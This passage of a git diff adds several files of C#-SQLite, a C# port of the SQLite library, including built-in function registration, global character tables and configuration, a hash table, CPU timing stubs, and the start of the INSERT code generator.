sqlite3FindFunction( db, zName, sqlite3Strlen30( zName ), + 2, SQLITE_UTF8, 0 ); + if ( ALWAYS( pDef != null ) ) + { + pDef.flags = (byte)flagVal; + } + } + + /* + ** Register the built-in LIKE and GLOB functions. The caseSensitive + ** parameter determines whether or not the LIKE operator is case + ** sensitive. GLOB is always case sensitive. + */ + static void sqlite3RegisterLikeFunctions( sqlite3 db, int caseSensitive ) + { + compareInfo pInfo; + if ( caseSensitive != 0 ) + { + pInfo = likeInfoAlt; + } + else + { + pInfo = likeInfoNorm; + } + sqlite3CreateFunc( db, "like", 2, SQLITE_ANY, pInfo, (dxFunc)likeFunc, null, null ); + sqlite3CreateFunc( db, "like", 3, SQLITE_ANY, pInfo, (dxFunc)likeFunc, null, null ); + sqlite3CreateFunc( db, "glob", 2, SQLITE_ANY, + globInfo, (dxFunc)likeFunc, null, null ); + setLikeOptFlag( db, "glob", SQLITE_FUNC_LIKE | SQLITE_FUNC_CASE ); + setLikeOptFlag( db, "like", + caseSensitive != 0 ? ( SQLITE_FUNC_LIKE | SQLITE_FUNC_CASE ) : SQLITE_FUNC_LIKE ); + } + + /* + ** pExpr points to an expression which implements a function. If + ** it is appropriate to apply the LIKE optimization to that function + ** then set aWc[0] through aWc[2] to the wildcard characters and + ** return TRUE. If the function is not a LIKE-style function then + ** return FALSE. + */ + static bool sqlite3IsLikeFunction( sqlite3 db, Expr pExpr, ref bool pIsNocase, char[] aWc ) + { + FuncDef pDef; + if ( pExpr.op != TK_FUNCTION + || null == pExpr.x.pList + || pExpr.x.pList.nExpr != 2 + ) + { + return false; + } + Debug.Assert( !ExprHasProperty( pExpr, EP_xIsSelect ) ); + pDef = sqlite3FindFunction( db, pExpr.u.zToken, sqlite3Strlen30( pExpr.u.zToken ), + 2, SQLITE_UTF8, 0 ); + if ( NEVER( pDef == null ) || ( pDef.flags & SQLITE_FUNC_LIKE ) == 0 ) + { + return false; + } + + /* The memcpy() statement assumes that the wildcard characters are + ** the first three statements in the compareInfo structure. The + ** Debug.Asserts() that follow verify that assumption + */ + //memcpy( aWc, pDef.pUserData, 3 ); + aWc[0] = ( (compareInfo)pDef.pUserData ).matchAll; + aWc[1] = ( (compareInfo)pDef.pUserData ).matchOne; + aWc[2] = ( (compareInfo)pDef.pUserData ).matchSet; + // Debug.Assert((char*)&likeInfoAlt == (char*)&likeInfoAlt.matchAll); + // Debug.Assert(&((char*)&likeInfoAlt)[1] == (char*)&likeInfoAlt.matchOne); + // Debug.Assert(&((char*)&likeInfoAlt)[2] == (char*)&likeInfoAlt.matchSet); + pIsNocase = ( pDef.flags & SQLITE_FUNC_CASE ) == 0; + return true; + } + + /* + ** All all of the FuncDef structures in the aBuiltinFunc[] array above + ** to the global function hash table. This occurs at start-time (as + ** a consequence of calling sqlite3_initialize()). + ** + ** After this routine runs + */ + static void sqlite3RegisterGlobalFunctions() + { + /* + ** The following array holds FuncDef structures for all of the functions + ** defined in this file. + ** + ** The array cannot be constant since changes are made to the + ** FuncDef.pHash elements at start-time. The elements of this array + ** are read-only after initialization is complete. + */ + FuncDef[] aBuiltinFunc = { +FUNCTION("ltrim", 1, 1, 0, trimFunc ), +FUNCTION("ltrim", 2, 1, 0, trimFunc ), +FUNCTION("rtrim", 1, 2, 0, trimFunc ), +FUNCTION("rtrim", 2, 2, 0, trimFunc ), +FUNCTION("trim", 1, 3, 0, trimFunc ), +FUNCTION("trim", 2, 3, 0, trimFunc ), +FUNCTION("min", -1, 0, 1, minmaxFunc ), +FUNCTION("min", 0, 0, 1, null ), +AGGREGATE("min", 1, 0, 1, minmaxStep, minMaxFinalize ), +FUNCTION("max", -1, 1, 1, minmaxFunc ), +FUNCTION("max", 0, 1, 1, null ), +AGGREGATE("max", 1, 1, 1, minmaxStep, minMaxFinalize ), +FUNCTION("typeof", 1, 0, 0, typeofFunc ), +FUNCTION("length", 1, 0, 0, lengthFunc ), +FUNCTION("substr", 2, 0, 0, substrFunc ), +FUNCTION("substr", 3, 0, 0, substrFunc ), +FUNCTION("abs", 1, 0, 0, absFunc ), +#if !SQLITE_OMIT_FLOATING_POINT +FUNCTION("round", 1, 0, 0, roundFunc ), +FUNCTION("round", 2, 0, 0, roundFunc ), +#endif +FUNCTION("upper", 1, 0, 0, upperFunc ), +FUNCTION("lower", 1, 0, 0, lowerFunc ), +FUNCTION("coalesce", 1, 0, 0, null ), +FUNCTION("coalesce", -1, 0, 0, ifnullFunc ), +FUNCTION("coalesce", 0, 0, 0, null ), +FUNCTION("hex", 1, 0, 0, hexFunc ), +FUNCTION("ifnull", 2, 0, 1, ifnullFunc ), +FUNCTION("random", 0, 0, 0, randomFunc ), +FUNCTION("randomblob", 1, 0, 0, randomBlob ), +FUNCTION("nullif", 2, 0, 1, nullifFunc ), +FUNCTION("sqlite_version", 0, 0, 0, versionFunc ), +FUNCTION("quote", 1, 0, 0, quoteFunc ), +FUNCTION("last_insert_rowid", 0, 0, 0, last_insert_rowid), +FUNCTION("changes", 0, 0, 0, changes ), +FUNCTION("total_changes", 0, 0, 0, total_changes ), +FUNCTION("replace", 3, 0, 0, replaceFunc ), +FUNCTION("zeroblob", 1, 0, 0, zeroblobFunc ), +#if SQLITE_SOUNDEX +FUNCTION("soundex", 1, 0, 0, soundexFunc ), +#endif +#if !SQLITE_OMIT_LOAD_EXTENSION +FUNCTION("load_extension", 1, 0, 0, loadExt ), +FUNCTION("load_extension", 2, 0, 0, loadExt ), +#endif +AGGREGATE("sum", 1, 0, 0, sumStep, sumFinalize ), +AGGREGATE("total", 1, 0, 0, sumStep, totalFinalize ), +AGGREGATE("avg", 1, 0, 0, sumStep, avgFinalize ), +/*AGGREGATE("count", 0, 0, 0, countStep, countFinalize ), */ +/* AGGREGATE(count, 0, 0, 0, countStep, countFinalize ), */ +new FuncDef( 0,SQLITE_UTF8,SQLITE_FUNC_COUNT,null,null,null,countStep,countFinalize,"count",null), +AGGREGATE("count", 1, 0, 0, countStep, countFinalize ), +AGGREGATE("group_concat", 1, 0, 0, groupConcatStep, groupConcatFinalize), +AGGREGATE("group_concat", 2, 0, 0, groupConcatStep, groupConcatFinalize), + +LIKEFUNC("glob", 2, globInfo, SQLITE_FUNC_LIKE|SQLITE_FUNC_CASE), +#if SQLITE_CASE_SENSITIVE_LIKE +LIKEFUNC("like", 2, likeInfoAlt, SQLITE_FUNC_LIKE|SQLITE_FUNC_CASE), +LIKEFUNC("like", 3, likeInfoAlt, SQLITE_FUNC_LIKE|SQLITE_FUNC_CASE), +#else +LIKEFUNC("like", 2, likeInfoNorm, SQLITE_FUNC_LIKE), +LIKEFUNC("like", 3, likeInfoNorm, SQLITE_FUNC_LIKE), +#endif +}; + int i; +#if SQLITE_OMIT_WSD +FuncDefHash pHash = GLOBAL( FuncDefHash, sqlite3GlobalFunctions ); +FuncDef[] aFunc = (FuncDef[])GLOBAL( FuncDef, aBuiltinFunc ); +#else + FuncDefHash pHash = sqlite3GlobalFunctions; + FuncDef[] aFunc = aBuiltinFunc; +#endif + for ( i = 0 ; i < ArraySize( aBuiltinFunc ) ; i++ ) + { + sqlite3FuncDefInsert( pHash, aFunc[i] ); + } + sqlite3RegisterDateTimeFunctions(); + } + } +} diff --git a/SQLite/src/global_c.cs b/SQLite/src/global_c.cs new file mode 100644 index 0000000..bf32899 --- /dev/null +++ b/SQLite/src/global_c.cs @@ -0,0 +1,210 @@ +using System; +using System.Diagnostics; +using System.Text; + +namespace CS_SQLite3 +{ + using sqlite3_value = CSSQLite.Mem; + + public partial class CSSQLite + { + /* + ** 2008 June 13 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** + ** This file contains definitions of global variables and contants. + ** + ** $Id: global.c,v 1.12 2009/02/05 16:31:46 drh Exp $ + ** + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** $Header$ + ************************************************************************* + */ + //#include "sqliteInt.h" + + + /* An array to map all upper-case characters into their corresponding + ** lower-case character. + ** + ** SQLite only considers US-ASCII (or EBCDIC) characters. We do not + ** handle case conversions for the UTF character set since the tables + ** involved are nearly as big or bigger than SQLite itself. + */ + /* An array to map all upper-case characters into their corresponding + ** lower-case character. + */ + static int[] sqlite3UpperToLower = new int[] { +#if SQLITE_ASCII +0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, +18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, +36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, +54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 97, 98, 99,100,101,102,103, +104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121, +122, 91, 92, 93, 94, 95, 96, 97, 98, 99,100,101,102,103,104,105,106,107, +108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125, +126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143, +144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161, +162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179, +180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197, +198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215, +216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233, +234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251, +252,253,254,255 +#endif +#if SQLITE_EBCDIC +0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, /* 0x */ +16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, /* 1x */ +32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, /* 2x */ +48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, /* 3x */ +64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, /* 4x */ +80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, /* 5x */ +96, 97, 66, 67, 68, 69, 70, 71, 72, 73,106,107,108,109,110,111, /* 6x */ +112, 81, 82, 83, 84, 85, 86, 87, 88, 89,122,123,124,125,126,127, /* 7x */ +128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143, /* 8x */ +144,145,146,147,148,149,150,151,152,153,154,155,156,157,156,159, /* 9x */ +160,161,162,163,164,165,166,167,168,169,170,171,140,141,142,175, /* Ax */ +176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191, /* Bx */ +192,129,130,131,132,133,134,135,136,137,202,203,204,205,206,207, /* Cx */ +208,145,146,147,148,149,150,151,152,153,218,219,220,221,222,223, /* Dx */ +224,225,162,163,164,165,166,167,168,169,232,203,204,205,206,207, /* Ex */ +239,240,241,242,243,244,245,246,247,248,249,219,220,221,222,255, /* Fx */ +#endif +}; + + /* + ** The following 256 byte lookup table is used to support SQLites built-in + ** equivalents to the following standard library functions: + ** + ** isspace() 0x01 + ** isalpha() 0x02 + ** isdigit() 0x04 + ** isalnum() 0x06 + ** isxdigit() 0x08 + ** toupper() 0x20 + ** + ** Bit 0x20 is set if the mapped character requires translation to upper + ** case. i.e. if the character is a lower-case ASCII character. + ** If x is a lower-case ASCII character, then its upper-case equivalent + ** is (x - 0x20). Therefore toupper() can be implemented as: + ** + ** (x & ~(map[x]&0x20)) + ** + ** Standard function tolower() is implemented using the sqlite3UpperToLower[] + ** array. tolower() is used more often than toupper() by SQLite. + ** + ** SQLite's versions are identical to the standard versions assuming a + ** locale of "C". They are implemented as macros in sqliteInt.h. + */ +#if SQLITE_ASCII + static byte[] sqlite3CtypeMap = new byte[] { +0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* 00..07 ........ */ +0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x00, /* 08..0f ........ */ +0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* 10..17 ........ */ +0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* 18..1f ........ */ +0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* 20..27 !"#$%&' */ +0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* 28..2f ()*+,-./ */ +0x0c, 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, /* 30..37 01234567 */ +0x0c, 0x0c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* 38..3f 89:;<=>? */ + +0x00, 0x0a, 0x0a, 0x0a, 0x0a, 0x0a, 0x0a, 0x02, /* 40..47 @ABCDEFG */ +0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, /* 48..4f HIJKLMNO */ +0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, /* 50..57 PQRSTUVW */ +0x02, 0x02, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, /* 58..5f XYZ[\]^_ */ +0x00, 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x22, /* 60..67 `abcdefg */ +0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, /* 68..6f hijklmno */ +0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, /* 70..77 pqrstuvw */ +0x22, 0x22, 0x22, 0x00, 0x00, 0x00, 0x00, 0x00, /* 78..7f xyz{|}~. */ + +0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* 80..87 ........ */ +0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* 88..8f ........ */ +0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* 90..97 ........ */ +0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* 98..9f ........ */ +0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* a0..a7 ........ */ +0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* a8..af ........ */ +0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* b0..b7 ........ */ +0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* b8..bf ........ */ + +0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* c0..c7 ........ */ +0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* c8..cf ........ */ +0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* d0..d7 ........ */ +0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* d8..df ........ */ +0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* e0..e7 ........ */ +0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* e8..ef ........ */ +0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* f0..f7 ........ */ +0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 /* f8..ff ........ */ +}; +#endif + + + /* +** The following singleton contains the global configuration for +** the SQLite library. +*/ + static Sqlite3Config sqlite3Config = new Sqlite3Config( + SQLITE_DEFAULT_MEMSTATUS, /* bMemstat */ + 1, /* bCoreMutex */ + SQLITE_THREADSAFE == 1, /* bFullMutex */ + 0x7ffffffe, /* mxStrlen */ + 100, /* szLookaside */ + 500, /* nLookaside */ + new sqlite3_mem_methods(), /* m */ + new sqlite3_mutex_methods( null, null, null, null, null, null, null, null, null ), /* mutex */ + new sqlite3_pcache_methods(),/* pcache */ + null, /* pHeap */ + 0, /* nHeap */ + 0, 0, /* mnHeap, mxHeap */ + null, /* pScratch */ + 0, /* szScratch */ + 0, /* nScratch */ + null, /* pPage */ + 0, /* szPage */ + 0, /* nPage */ + 0, /* mxParserStack */ + false, /* sharedCacheEnabled */ + /* All the rest need to always be zero */ + 0, /* isInit */ + 0, /* inProgress */ + 0, /* isMallocInit */ + null, /* pInitMutex */ + 0 /* nRefInitMutex */ + ); + + /* + ** Hash table for global functions - functions common to all + ** database connections. After initialization, this table is + ** read-only. + */ + static FuncDefHash sqlite3GlobalFunctions; + + /* + ** The value of the "pending" byte must be 0x40000000 (1 byte past the + ** 1-gibabyte boundary) in a compatible database. SQLite never uses + ** the database page that contains the pending byte. It never attempts + ** to read or write that page. The pending byte page is set assign + ** for use by the VFS layers as space for managing file locks. + ** + ** During testing, it is often desirable to move the pending byte to + ** a different position in the file. This allows code that has to + ** deal with the pending byte to run on files that are much smaller + ** than 1 GiB. The sqlite3_test_control() interface can be used to + ** move the pending byte. + ** + ** IMPORTANT: Changing the pending byte to any value other than + ** 0x40000000 results in an incompatible database file format! + ** Changing the pending byte during operating results in undefined + ** and dileterious behavior. + */ + static int sqlite3PendingByte = 0x40000000; + } +} diff --git a/SQLite/src/hash_c.cs b/SQLite/src/hash_c.cs new file mode 100644 index 0000000..0c29557 --- /dev/null +++ b/SQLite/src/hash_c.cs @@ -0,0 +1,352 @@ +using System; +using System.Diagnostics; +using System.Text; + +using u8 = System.Byte; +using u32 = System.UInt32; + +namespace CS_SQLite3 +{ + public partial class CSSQLite + { + /* + ** 2001 September 22 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** This is the implementation of generic hash-tables + ** used in SQLite. + ** + ** $Id: hash.c,v 1.38 2009/05/09 23:29:12 drh Exp + ** + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** $Header$ + ************************************************************************* + */ + //#include "sqliteInt.h" + //#include + + /* Turn bulk memory into a hash table object by initializing the + ** fields of the Hash structure. + ** + ** "pNew" is a pointer to the hash table that is to be initialized. + */ + static void sqlite3HashInit( Hash pNew ) + { + Debug.Assert( pNew != null ); + pNew.first = null; + pNew.count = 0; + pNew.htsize = 0; + pNew.ht = null; + } + + /* Remove all entries from a hash table. Reclaim all memory. + ** Call this routine to delete a hash table or to reset a hash table + ** to the empty state. + */ + static void sqlite3HashClear( Hash pH ) + { + HashElem elem; /* For looping over all elements of the table */ + + Debug.Assert( pH != null ); + elem = pH.first; + pH.first = null; + //sqlite3_free( ref pH.ht ); + pH.ht = null; + pH.htsize = 0; + while ( elem != null ) + { + HashElem next_elem = elem.next; + ////sqlite3_free(ref elem ); + elem = next_elem; + } + pH.count = 0; + } + + /* + ** The hashing function. + */ + static u32 strHash( string z, int nKey ) + { + int h = 0; + Debug.Assert( nKey >= 0 ); + int _z = 0; + while ( nKey > 0 ) + { + h = ( h << 3 ) ^ h ^ ( ( _z < z.Length ) ? (int)sqlite3UpperToLower[(byte)z[_z++]] : 0 ); + nKey--; + } + return (u32)h; + } + + /* Link pNew element into the hash table pH. If pEntry!=0 then also + ** insert pNew into the pEntry hash bucket. + */ + static void insertElement( + Hash pH, /* The complete hash table */ + _ht pEntry, /* The entry into which pNew is inserted */ + HashElem pNew /* The element to be inserted */ + ) + { + HashElem pHead; /* First element already in pEntry */ + if ( pEntry != null ) + { + pHead = pEntry.count != 0 ? pEntry.chain : null; + pEntry.count++; + pEntry.chain = pNew; + } + else + { + pHead = null; + } + if ( pHead != null ) + { + pNew.next = pHead; + pNew.prev = pHead.prev; + if ( pHead.prev != null ) { pHead.prev.next = pNew; } + else { pH.first = pNew; } + pHead.prev = pNew; + } + else + { + pNew.next = pH.first; + if ( pH.first != null ) { pH.first.prev = pNew; } + pNew.prev = null; + pH.first = pNew; + } + } + + /* Resize the hash table so that it cantains "new_size" buckets. + ** + ** The hash table might fail to resize if sqlite3_malloc() fails or + ** if the new size is the same as the prior size. + ** Return TRUE if the resize occurs and false if not. + */ + static bool rehash( ref Hash pH, u32 new_size ) + { + _ht[] new_ht; /* The new hash table */ + HashElem elem; + HashElem next_elem; /* For looping over existing elements */ + +#if SQLITE_MALLOC_SOFT_LIMIT +if( new_size*sizeof(struct _ht)>SQLITE_MALLOC_SOFT_LIMIT ){ +new_size = SQLITE_MALLOC_SOFT_LIMIT/sizeof(struct _ht); +} +if( new_size==pH->htsize ) return false; +#endif + + /* There is a call to sqlite3Malloc() inside rehash(). If there is +** already an allocation at pH.ht, then if this malloc() fails it +** is benign (since failing to resize a hash table is a performance +** hit only, not a fatal error). +*/ + sqlite3BeginBenignMalloc(); + new_ht = new _ht[new_size]; //(struct _ht *)sqlite3Malloc( new_size*sizeof(struct _ht) ); + for ( int i = 0 ; i < new_size ; i++ ) new_ht[i] = new _ht(); + sqlite3EndBenignMalloc(); + + if ( new_ht == null ) return false; + //sqlite3_free( ref pH.ht ); + pH.ht = new_ht; + // pH.htsize = new_size = sqlite3MallocSize(new_ht)/sizeof(struct _ht); + //memset(new_ht, 0, new_size*sizeof(struct _ht)); + pH.htsize = new_size; + + for ( elem = pH.first, pH.first = null ; elem != null ; elem = next_elem ) + { + u32 h = strHash( elem.pKey, elem.nKey ) % new_size; + next_elem = elem.next; + insertElement( pH, new_ht[h], elem ); + } + return true; + } + + /* This function (for internal use only) locates an element in an + ** hash table that matches the given key. The hash for this key has + ** already been computed and is passed as the 4th parameter. + */ + static HashElem findElementGivenHash( + Hash pH, /* The pH to be searched */ + string pKey, /* The key we are searching for */ + int nKey, /* Bytes in key (not counting zero terminator) */ + u32 h /* The hash for this key. */ + ) + { + HashElem elem; /* Used to loop thru the element list */ + int count; /* Number of elements left to test */ + + if ( pH.ht != null && pH.ht[h] != null ) + { + _ht pEntry = pH.ht[h]; + elem = pEntry.chain; + count = (int)pEntry.count; + } + else + { + elem = pH.first; + count = (int)pH.count; + } + while ( count-- > 0 && ALWAYS( elem ) ) + { + if ( elem.nKey == nKey && sqlite3StrNICmp( elem.pKey, pKey, nKey ) == 0 ) + { + return elem; + } + elem = elem.next; + } + return null; + } + + /* Remove a single entry from the hash table given a pointer to that + ** element and a hash on the element's key. + */ + static void removeElementGivenHash( + Hash pH, /* The pH containing "elem" */ + ref HashElem elem, /* The element to be removed from the pH */ + u32 h /* Hash value for the element */ + ) + { + _ht pEntry; + if ( elem.prev != null ) + { + elem.prev.next = elem.next; + } + else + { + pH.first = elem.next; + } + if ( elem.next != null ) + { + elem.next.prev = elem.prev; + } + if ( pH.ht != null && pH.ht[h] != null ) + { + pEntry = pH.ht[h]; + if ( pEntry.chain == elem ) + { + pEntry.chain = elem.next; + } + pEntry.count--; + Debug.Assert( pEntry.count >= 0 ); + } + //sqlite3_free( ref elem ); + pH.count--; + if ( pH.count <= 0 ) + { + Debug.Assert( pH.first == null ); + Debug.Assert( pH.count == 0 ); + sqlite3HashClear( pH ); + } + } + + /* Attempt to locate an element of the hash table pH with a key + ** that matches pKey,nKey. Return the data for this element if it is + ** found, or NULL if there is no match. + */ + static object sqlite3HashFind( Hash pH, string pKey, int nKey ) + { + HashElem elem; /* The element that matches key */ + u32 h; /* A hash on key */ + + Debug.Assert( pH != null ); + Debug.Assert( pKey != null ); + Debug.Assert( nKey >= 0 ); + if ( pH.ht != null ) + { + h = strHash( pKey, nKey ) % pH.htsize; + } + else + { + h = 0; + } + elem = findElementGivenHash( pH, pKey, nKey, h ); + return elem != null ? elem.data : null; + } + + /* Insert an element into the hash table pH. The key is pKey,nKey + ** and the data is "data". + ** + ** If no element exists with a matching key, then a new + ** element is created and NULL is returned. + ** + ** If another element already exists with the same key, then the + ** new data replaces the old data and the old data is returned. + ** The key is not copied in this instance. If a malloc fails, then + ** the new data is returned and the hash table is unchanged. + ** + ** If the "data" parameter to this function is NULL, then the + ** element corresponding to "key" is removed from the hash table. + */ + static object sqlite3HashInsert( ref Hash pH, string pKey, int nKey, object data ) + { + u32 h; /* the hash of the key modulo hash table size */ + + HashElem elem; /* Used to loop thru the element list */ + HashElem new_elem; /* New element added to the pH */ + + Debug.Assert( pH != null ); + Debug.Assert( pKey != null ); + Debug.Assert( nKey >= 0 ); + + if ( pH.htsize != 0 ) + { + h = strHash( pKey, nKey ) % pH.htsize; + } + else + { + h = 0; + } + elem = findElementGivenHash( pH, pKey, nKey, h ); + if ( elem != null ) + { + object old_data = elem.data; + if ( data == null ) + { + removeElementGivenHash( pH, ref elem, h ); + } + else + { + elem.data = data; + elem.pKey = pKey; + Debug.Assert( nKey == elem.nKey ); + } + return old_data; + } + if ( data == null ) return null; + new_elem = new HashElem();//(HashElem*)sqlite3Malloc( sizeof(HashElem) ); + if ( new_elem == null ) return data; + new_elem.pKey = pKey; + new_elem.nKey = nKey; + new_elem.data = data; + pH.count++; + if ( pH.count >= 10 && pH.count > 2 * pH.htsize ) + { + if ( rehash( ref pH, pH.count * 2 ) ) + { + Debug.Assert( pH.htsize > 0 ); + h = strHash( pKey, nKey ) % pH.htsize; + } + } + if ( pH.ht != null ) + { + insertElement( pH, pH.ht[h], new_elem ); + + } + else + { + insertElement( pH, null, new_elem ); + } + return null; + } + + } +} diff --git a/SQLite/src/hwtime_c.cs b/SQLite/src/hwtime_c.cs new file mode 100644 index 0000000..6aed7bd --- /dev/null +++ b/SQLite/src/hwtime_c.cs @@ -0,0 +1,101 @@ +namespace CS_SQLite3 +{ + using sqlite_u3264 = System.UInt64; + + public partial class CSSQLite + { + /* + ** 2008 May 27 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ****************************************************************************** + ** + ** This file contains inline asm code for retrieving "high-performance" + ** counters for x86 class CPUs. + ** + ** $Id: hwtime.h,v 1.3 2008/08/01 14:33:15 shane Exp $ + ** + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** $Header$ + ************************************************************************* + */ + //#if !_HWTIME_H_ + //#define _HWTIME_H_ + + /* + ** The following routine only works on pentium-class (or newer) processors. + ** It uses the RDTSC opcode to read the cycle count value out of the + ** processor and returns that value. This can be used for high-res + ** profiling. + */ +#if ((__GNUC__) || (_MSC_VER)) && ((i386) || (__i386__) || (_M_IX86)) + +#if (__GNUC__) + +__inline__ sqlite_u3264 sqlite3Hwtime(void){ +unsigned int lo, hi; +__asm__ __volatile__ ("rdtsc" : "=a" (lo), "=d" (hi)); +return (sqlite_u3264)hi << 32 | lo; +} + +#elif (_MSC_VER) + +__declspec(naked) __inline sqlite_u3264 __cdecl sqlite3Hwtime(void){ +__asm { +rdtsc +ret ; return value at EDX:EAX +} +} + +#endif + +#elif ((__GNUC__) && (__x86_64__)) + +__inline__ sqlite_u3264 sqlite3Hwtime(void){ +unsigned long val; +__asm__ __volatile__ ("rdtsc" : "=A" (val)); +return val; +} + +#elif ( (__GNUC__) && (__ppc__)) + +__inline__ sqlite_u3264 sqlite3Hwtime(void){ +unsigned long long retval; +unsigned long junk; +__asm__ __volatile__ ("\n\ +1: mftbu %1\n\ +mftb %L0\n\ +mftbu %0\n\ +cmpw %0,%1\n\ +bne 1b" +: "=r" (retval), "=r" (junk)); +return retval; +} + +#else + + //#error Need implementation of sqlite3Hwtime() for your platform. + + /* + ** To compile without implementing sqlite3Hwtime() for your platform, + ** you can remove the above #error and use the following + ** stub function. You will lose timing support for many + ** of the debugging and testing utilities, but it should at + ** least compile and run. + */ + static sqlite_u3264 sqlite3Hwtime() { return (sqlite_u3264)System.DateTime.Now.Ticks; }// (sqlite_u3264)0 ); } + +#endif + + //#endif /* !_HWTIME_H_) */ + } +} diff --git a/SQLite/src/insert_c.cs b/SQLite/src/insert_c.cs new file mode 100644 index 0000000..5cc86f0 --- /dev/null +++ b/SQLite/src/insert_c.cs @@ -0,0 +1,2091 @@ +using System; +using System.Diagnostics; +using System.Text; + +using Pgno = System.UInt32; +using u8 = System.Byte; +using u32 = System.UInt32; + +namespace CS_SQLite3 +{ + public partial class CSSQLite + { + /* + ** 2001 September 15 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** This file contains C code routines that are called by the parser + ** to handle INSERT statements in SQLite. + ** + ** $Id: insert.c,v 1.270 2009/07/24 17:58:53 danielk1977 Exp $ + ** + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** $Header$ + ************************************************************************* + */ + //#include "sqliteInt.h" + + /* + ** Generate code that will open a table for reading. + */ + static void sqlite3OpenTable( + Parse p, /* Generate code into this VDBE */ + int iCur, /* The cursor number of the table */ + int iDb, /* The database index in sqlite3.aDb[] */ + Table pTab, /* The table to be opened */ + int opcode /* OP_OpenRead or OP_OpenWrite */ + ) + { + Vdbe v; + if ( IsVirtual( pTab ) ) return; + v = sqlite3GetVdbe( p ); + Debug.Assert( opcode == OP_OpenWrite || opcode == OP_OpenRead ); + sqlite3TableLock( p, iDb, pTab.tnum, ( opcode == OP_OpenWrite ) ? (byte)1 : (byte)0, pTab.zName ); + sqlite3VdbeAddOp3( v, opcode, iCur, pTab.tnum, iDb ); + sqlite3VdbeChangeP4( v, -1, ( pTab.nCol ), P4_INT32 );//SQLITE_INT_TO_PTR( 